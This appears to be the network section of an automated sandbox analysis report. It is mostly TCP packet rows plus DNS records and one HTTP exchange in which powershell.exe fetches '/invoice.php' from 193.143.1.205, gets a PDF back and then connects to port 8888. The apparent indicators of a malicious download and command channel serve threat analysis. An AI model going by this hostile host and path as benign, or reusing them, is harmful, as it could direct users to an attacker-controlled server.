Jan 10, 2025 22:29:32.954577923 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.954585075 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.954608917 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.955255985 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.955269098 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.955280066 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.955295086 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.955306053 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.955307007 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.955323935 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.955351114 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.978008986 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.978043079 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.978055954 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.978081942 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.978173018 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.978215933 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.978219986 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.978233099 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.978275061 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.978431940 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.978447914 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.979001045 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.979039907 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.979067087 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.979079008 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.979120016 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.979197979 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.979209900 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.979252100 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.979326010 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.979345083 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.979384899 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.979489088 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.979501009 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:32.979545116 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:32.989837885 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.008616924 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.008650064 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.008661032 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.008716106 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.008755922 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.008795977 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.008876085 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.008889914 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.008908033 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.008922100 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.008930922 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.008971930 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.009242058 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.009253979 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.009258986 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.009270906 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.009284019 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.009295940 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.009332895 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.009512901 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.009556055 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.009578943 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.009592056 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.009634972 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.038642883 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.038675070 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.038686991 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.038769960 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.038804054 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.038815975 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.038852930 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.038981915 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.038995028 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.039007902 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.039020061 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.039031029 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.039052963 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.039295912 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.039308071 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.039325953 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.039340973 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.039347887 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.039377928 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.039622068 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.039633036 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.039663076 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.039820910 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.039832115 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.039844036 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.039855003 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.039858103 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.039868116 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.039880991 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.039890051 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.039892912 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.039910078 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.039926052 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.040471077 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.040482998 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.040493965 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.040507078 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.040519953 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.040532112 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.040534973 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.040546894 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.040559053 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.040559053 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.040571928 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.040580034 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.040586948 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.040608883 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.040625095 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.041255951 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.041268110 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.041280985 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.041296005 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.041318893 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.041343927 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.041646004 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.041657925 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.041676044 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.041691065 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.041697025 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.041702986 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.041714907 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.041723013 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.041727066 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.041754007 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.041754961 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.041774035 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.041788101 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.041800022 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.041824102 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.042510986 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.042524099 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.042529106 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.042541981 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.042555094 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.042560101 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.042568922 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.042582035 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.042586088 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.042655945 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.043154001 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.043165922 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.043179989 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.043190002 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.043196917 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.043201923 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.043215036 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.043226957 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.043227911 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.043239117 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.043246031 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.043251991 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.043263912 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.043270111 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.043298960 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.044049978 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.044064045 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.044075012 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.044087887 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.044099092 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.044111013 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.044116974 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.044121981 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.044131041 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.044131994 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.044143915 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.044146061 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.044158936 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.044188976 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.044217110 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.044941902 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.044955969 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.044966936 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.044979095 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.044986963 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.044991970 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.045003891 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.045012951 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.045017004 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.045027971 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.045039892 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.045041084 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.045053959 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.045064926 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.045067072 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.045078039 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.045108080 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.068624973 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.068648100 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.068654060 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.068737030 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.068753958 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.068766117 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.068777084 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.068795919 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.068825960 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.068991899 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.069005013 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.069055080 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.099370003 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.099447012 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.099484921 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.099519968 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.099520922 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.099555969 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.099566936 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.099594116 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.099637032 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.099647045 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.099680901 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.099719048 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.099733114 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.099808931 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.099860907 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.099864006 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.099898100 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.099932909 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.099951982 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.099968910 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.100003958 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.100020885 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.100138903 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.100172043 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.100186110 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.100224972 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.100286007 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.100425005 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.100459099 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.100493908 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.100514889 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.100528955 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.100564003 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.100575924 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.129321098 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.129362106 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.129415035 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.129448891 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.129466057 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.129484892 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.129507065 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.129518986 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.129529953 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.129739046 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.129829884 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.129842043 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.129865885 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.129910946 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.129919052 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.130019903 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.130053997 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.130089045 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.130116940 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.130121946 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.130139112 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.130166054 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.130177975 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.130206108 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.130490065 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.130523920 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.130538940 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.130558968 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.130589008 CET	80	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:33.130601883 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.176980972 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.264581919 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:33.694089890 CET	49705	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:34.238740921 CET	49706	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:34.244266033 CET	8888	49706	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:34.244353056 CET	49706	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:34.244482040 CET	49706	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:34.249839067 CET	8888	49706	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:35.036957026 CET	8888	49706	193.143.1.205	192.168.2.5
Jan 10, 2025 22:29:35.083237886 CET	49706	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 22:29:35.574654102 CET	49706	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:29:42.621432066 CET	64616	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 22:29:42.621432066 CET	192.168.2.5	1.1.1.1	0xcd96	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 22:29:42.628576040 CET	1.1.1.1	192.168.2.5	0xcd96	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:29:43.352646112 CET	1.1.1.1	192.168.2.5	0x459a	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:29:43.352646112 CET	1.1.1.1	192.168.2.5	0x459a	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:30:43.359152079 CET	1.1.1.1	192.168.2.5	0x3526	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:30:43.359152079 CET	1.1.1.1	192.168.2.5	0x3526	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.37	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:30:43.359152079 CET	1.1.1.1	192.168.2.5	0x3526	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.36	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:30:43.359152079 CET	1.1.1.1	192.168.2.5	0x3526	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.38	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:30:43.359152079 CET	1.1.1.1	192.168.2.5	0x3526	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.27	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:30:43.359152079 CET	1.1.1.1	192.168.2.5	0x3526	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.23	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:30:43.359152079 CET	1.1.1.1	192.168.2.5	0x3526	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.37	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:30:43.359152079 CET	1.1.1.1	192.168.2.5	0x3526	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.35	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:30:43.359152079 CET	1.1.1.1	192.168.2.5	0x3526	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.40	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	193.143.1.205	80	572	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:29:31.574552059 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 22:29:32.375401974 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:29:32 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 